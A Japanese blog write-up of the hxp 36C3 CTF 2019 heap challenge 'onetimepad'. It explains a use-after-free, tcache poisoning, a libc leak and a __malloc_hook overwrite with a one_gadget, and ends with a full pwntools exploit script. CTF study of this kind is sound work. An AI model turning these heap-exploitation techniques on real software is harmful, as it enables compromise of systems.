イントロ
いつぞやの年末に行われた HXP 主催の 36C3 CTF 2019。 DEFCON Quals らしい。 本記事は pwn の hard レベル問題Onetime Padの writeup である。 なお本問は heap パズル 問題である。
表層解析
配布物は以下の 3 つ:
Dockerfile
: Debian 環境で libc は 2.28onetimepad
: 実行ファイル
1./onetimepad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=fb5e2533e641b3debc2fac404e45cb053174361e, not stripped
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: No canary found
5 NX: NX enabled
6 PIE: PIE enabled
onetimepad.c
: ソースコード
問題バイナリは NSA(Non Specified Agency)が開発したメモ帳プログラム。 一回読むと発火して読めなくなるそうです。 pwn2win といい、設定が面白いのはいいですね。
問題概要
メモ帳プログラムで以下の機能を持つ:
write
メモ帳を生成する。
メモ帳は.bss
セクションのstruct onetimepad[8]
で管理されており、
各インスタンスはメモの内容のbuf
へのポインタを持っている。
重要なのは文字列の入力方法であり、
readline()
で一旦line
buf に入力を受け付け、
NULL 終端した後にstrdup()
して、コピーされた文字列へのポインタをonetimepad
に保持する。
詳しくは後述するが、この方法での入力による exploit 上の特徴は:
・必ず NULL 終端されるため 1byte 分非任意の書き込み(0x00
)が生じる
・p64(addr1)+p64(addr2)
のように途中に NULL を挟む入力はすることができない
read
“onetime"の名の由来となる部分。
onetimepad[ix]
の保持する buf を出力するが、
出力の直後にこの buf がfree()
される。
また、onetimepad
はメンバ変数に現在使用されているかどうかを示すis_inuse
フラグをもっており、
read
を行い buf をfree()
したあとにこのフラグをおろす。
read
はこのis_free
フラグが立っているものにしかおこなえない。
rewrite
onetimepad[ix]
のbuf
を書き換えることができる。
これも入力の制約自体は write と同じである。
.data
セクションの変数によって rewrite できるのは一度だけに制限されている。
ネイティブ環境と異なる libc でのデバッグ
本問のバイナリは libc2.28 で動く。
LD_PRELOAD
で libc を指定して動かそうとしたが上手くいかなかった。
ものぐさなため途中まではネイティブ環境の libc2.27 で動かして exploit を書いていたが、
後述するように途中で不具合が生じたためちゃんと 2.28 を使うことにした。
よって配布された Dockerfile でサーバを立ち上げてホストから gdbserver でアタッチしてデバッグしようとしたが、
この方法では勿論 pwndbg のheap
やbin
等のコマンドが使えない。
vanila gdb で pwn をしていた頃が懐かしいが今となってはこれらなしでやるのは非常に辛いため、
Docker 上に pwndbg を入れるようにした。
自分は完全なる Docker 素人のため環境構築は mora さんにお願いした。。。
Dockerfile 1# echo 'hxp{FLAG}' > flag.txt && docker build -t onetimepad . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 31336:1024 onetimepad
2FROM debian:buster
3RUN useradd --create-home --shell /bin/bash ctf
4WORKDIR /home/ctf
5COPY ynetd /sbin/
6COPY onetimepad flag.txt /home/ctf/
7# # Permission
8# 7 rwx
9# 6 rw-
10# 5 r-x
11# 4 r--
12# 3 -wx
13# 2 -w-
14# 1 --x
15# 0 ---
16# sane defaults
17RUN chmod 555 /home/ctf && \
18 chown -R root:root /home/ctf && \
19 chmod -R 000 /home/ctf/* && \
20 chmod 500 /sbin/ynetd
21# TODO: chmod all your files below!
22RUN chmod 555 onetimepad && \
23 chmod 444 flag.txt && \
24 mv flag.txt flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt
25# check whitelist of writable files/folders
26USER ctf
27RUN (find --version && id --version && sed --version && grep --version) > /dev/null
28RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'
29USER root
30RUN apt-get update && apt-get upgrade &&\
31 apt-get -y install python2.7 python-pip python-dev git libssl-dev libffi-dev socat
32##RUN pip install virtualenvwrapper &&\
33# export WORKON_HOME=$HOME/.virtualenvs &&\
34# export PROJECT_HOME=$HOME/Devel &&\
35# . /usr/local/bin/virtualenvwrapper.sh &&\
36# cd $HOMEDIR &&\
37# mkdir tools &&\
38# cd tools &&\
39# mkvirtualenv pwn &&\
40RUN pip install --upgrade pwntools &&\
41 #deactivate &&\
42 git clone https://github.com/pwndbg/pwndbg &&\
43 cd pwndbg &&\
44 ./setup.sh
45RUN apt-get install -y procps
46# EXPOSE all your ports
47EXPOSE 1024
48# TODO: CMD your challenge
49CMD ynetd -u ctf /home/ctf/onetimepad
1sudo docker build . -t sugoiyatu
1sudo docker run -p 3001:3001 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it sugoiyatu /bin/bash
1socat TCP-L:3001,reuseaddr,fork EXEC:./onetimepad &
あとはいつも通り3001
ポートに向けて exploit コードを回していい感じのところで止めて、
docker 上で pwndbg を使ってデバッグすれば良い。
方針
さて、問題バイナリに戻る:
とっかかりの脆弱性
rewrite に自明な UAF がある
(rewrite
時にis_inuse
を確認しないため、read した==free()
した chunk に書き込むことができる)。
但し rewrite にかかる制限がそのまま UAF の制約になる。
すなわち:
- この方法での UAF は 1 回しかできない ・・・①
- 途中で NULL を挟むと入力が終わる・・・②
- 最後が NULL 終端される・・・③
libcbase の leak と libc2.27/28 の unsorted の制約の差異
この UAF を利用して、まず libcbase の leak を目指す。
まず heap のベースアドレスは下 3nibble が0x000
で固定である。
この先頭に IO buf が0x250
のサイズで取られる。
その下にreadline()
で使用する line buf がとられる。
この line buf のサイズは倍々 or 2 の冪乗でとられる。
(ソース読んでないから実験からの推測だけど。。。)
途中で line buf のサイズが足りなくなってrealloc()
することになるとめんどくさいため、
最初に line buf のサイズをかなり大きな値にして固定したい。
このために一番最初に0x620
サイズをmalloc()
しておく(chunkA)。
その下に chunkB (0x570
), chunkC(0x30
), chunkD(0x30
)をmalloc()
する。
そのあと B,D,C の順に read(free)する。
ここまでの heap の状態が以下の感じ。
次に rewrite の UAF を利用して tcache0x30 に繋がっている chunkC の fd を書き換える。
この際 NULL 終端が必ず生じること(UAF 制約 ③)と、ヒープアドレスで既知なのは下 3nibble だけであるということから、
ガチャなしでいくためには下 1byte を NULL overwrite するしかない。
よって C のfd
の下 1byte を0x00
にして tcache のリンクをずらし、
上にある chunkB の下の方を指すようにしておく。
この状態で tcache0x30 から chunkE, chunkF をmalloc()
する。
次に unsorted に繋がっている chunkB から適切なサイズの chunkG (0x4f0) をmalloc()
で削り取ることで、
chunkF に近いところに残りカス unsorted の fd
を生成する。
この時事前にずらした tcache のリンク先(chunkF の fd
が指す先)にちょうど unsorted の fd
がくるように削り取るサイズは調整すること。
ここまでを図示すると以下のようになる。
すると chunkF のユーザ領域の先頭に unsorted が来ているから。
F を read することでmain_arena+96
が leak できる。
今回は unsorted から切り出した残りカスが 0x80 になるから、
free()
された chunkF はtcache 0x80
につながれる。
ここで unsorted のfd
と chunkF のfd
は重複してしまっている + 現在tcache0x80
には chunk が繋がっていないため、
この両者のfd
は NULL に書き換えられてしまう。
このまま次の chunk を unsorted から切り出すとこのの部分 でひっかかる。
自分は慣れない環境でのデバッグを嫌って libc2.27 環境でデバッグしていたのだが、
2.27 では最後の unsorted のfd
がarena+96
を指していなくてもよかったが、
2.28 ではこの整合性チェックが行われるようになったっぽいのでひっかかってしまった。
同じチームのメンバーに状況だけを伝えると、 やってることを教えただけで「そりゃあやばい状況」と 2.28 では上手く行かないことを一瞬で指摘してきたので、 すげえなぁと思うと同時に、 こういうバージョンごとにできること・できないこともちゃんと把握できるようにしないとだめだなと思いました。まる。
malloc_hook overwrite
ここで躓いていると mora さんが解決策をくれた。 すなわち先に unsorted を free してからもう一度確保することでごまかした。 この部分を図示すると以下のようになる:
これで libcbase がわかった状態で任意のアドレスに chunk を置いて書き込むことができる。 だがそのためには 0x80 サイズの chunk を取る必要があるのだが。 前述した UAF の制約 ② により途中で NULL を入れることができず、
.py1inj = p64(target addr), inj += "A"*(0x70-len(inj))
のような入力にするとp64()
の時点で入力が打ち切られてしまう。
ここでウンウン唸っていると、 mora さんが一瞬で以下の bypass を思いついた。
すなわち、chunk を__malloc_hook
の丁度上に置くのではなく、
__malloc_hook - (0x70-len(target addr))
に書き込み、
入力を"A"*(0x70-len(target addr)) + p64(target addr)
にすることで、
入力が打ち切られた時点で丁度書き込み終了とすることができるというものである。
こういうのを言われなくても自分ですぐ思いつくようにしたい。
ただこの方法だと hook の上にあるデータを破壊してしまう。
onegadget の constraint を避けるためにfree_hook
の方を overwrite しようとしたところ。
free_hook
の方には上に書き換えちゃいけないポインタがあったらしく、
lock 関係のところで永久ループに入りとまってしまった。
ただ libc2.28 環境ではたまたま、
malloc_hook
なら上のデータは破壊してもよい+onegadget の制約を満たしているという好条件だったため、
普通に malloc_hook overwrite でいけた。
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./onetimepad"
8
9onegadgets = [0x4484f,0x448a3,0xe5456]
10
11#online
12#st = 1.0
13
14#local
15st = 0.1
16
17arena_off = 0x1bbca0
18malloc_hook_off = 0x1bbc30
19free_hook_off = 0x1BD8E8
20
21rhp1 = {"host":"88.198.154.140","port":31336}
22rhp2 = {'host':"localhost",'port':3001}
23context(os='linux',arch='amd64')
24binf = ELF(FILENAME)
25
26def _write(conn,content):
27 conn.recvuntil("> ")
28 conn.sendline("w")
29 sleep(st)
30 conn.sendline(content)
31
32def _read(conn,idx):
33 conn.recvuntil("> ")
34 conn.sendline("r")
35 sleep(st)
36 conn.sendline(str(idx))
37
38def _rewrite(conn,idx,content):
39 conn.recvuntil("> ")
40 conn.sendline("e")
41 sleep(st)
42 conn.sendline(str(idx))
43 sleep(st)
44 conn.sendline(content)
45
46
47
48def exploit(conn):
49 _write(conn,"A"*0x610) #0:とりあえずline bufを大きく取るため
50 _write(conn,"B"*0x560) #1:to generate arena+96
51 _write(conn,"C"*0x20) #2
52 _write(conn,"D"*0x20) #3
53
54 _read(conn,1)
55 _read(conn,3)
56 _read(conn,2)
57 print("[+]read three times")
58
59
60 _rewrite(conn,2,"")
61 _write(conn,"E"*0x20) #1
62 _write(conn,"F"*0x20) #2
63
64 _write(conn,"G"*0x4e0) #3
65
66 _read(conn,3)
67 _read(conn,2)
68 arena96 = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
69 print("[+]main_arena + 96: "+hex(arena96))
70 libc_base = arena96 - arena_off
71 print("[+]libc_base: "+hex(libc_base))
72 malloc_hook = libc_base + malloc_hook_off
73 print("[+]malloc_hook: "+hex(malloc_hook))
74 free_hook = libc_base + free_hook_off
75 print("[+]free_hook: "+hex(free_hook))
76 print("[+]onegadgets[0]: "+hex(libc_base + onegadgets[0]))
77
78 _write(conn,"G"*0x4e0) #2
79 _write(conn,p64(malloc_hook - (0x70-0x6))) #3
80 print("[+]stage1 OK")
81 _write(conn,"A"*0x70)
82 print("[+]stage2 OK")
83
84 inj = "A"*(0x70-0x6)
85 inj += p64(libc_base + onegadgets[2])
86 _write(conn,inj)
87
88 raw_input("enter to continue")
89 _write(conn,"GO!!")
90
91if len(sys.argv)>1:
92 if sys.argv[1][0]=="d":
93 cmd = """
94 set follow-fork-mode parent
95 """
96 conn = gdb.debug(FILENAME,cmd)
97 elif sys.argv[1][0]=="r":
98 conn = remote(rhp1["host"],rhp1["port"])
99 st = 1.0
100else:
101 conn = remote(rhp2['host'],rhp2['port'])
102exploit(conn)
103conn.interactive()
結果
自分が CTF を始めた今年最後の CTF。
hard 問をとれたことは嬉しかったが、 hard 要素がどこにもなく明らかに diffculty estimate のミスだと思う。 だがそれにしては時間がかかりすぎたため、 単純な heap パズルならば瞬殺できるようにしておきたい。 あと docker の使い方とかはいい加減覚えなさい。
それよりも、初めて TSG の人と地下でオンサイトで解けたのが楽しかったです。 mora 先輩とスマブラもできました。 来年は CTF に睡眠を破壊されないようにしたいですね。
一瞬誰かを見習って 2020 年の pwn 問全部解くをやろうと思ったんですが、 この調子だと睡眠時間が無くなりそうなので無理っぽいです。 ただできる限りは writeup を見てもいいので解きたいですね。
よいお年を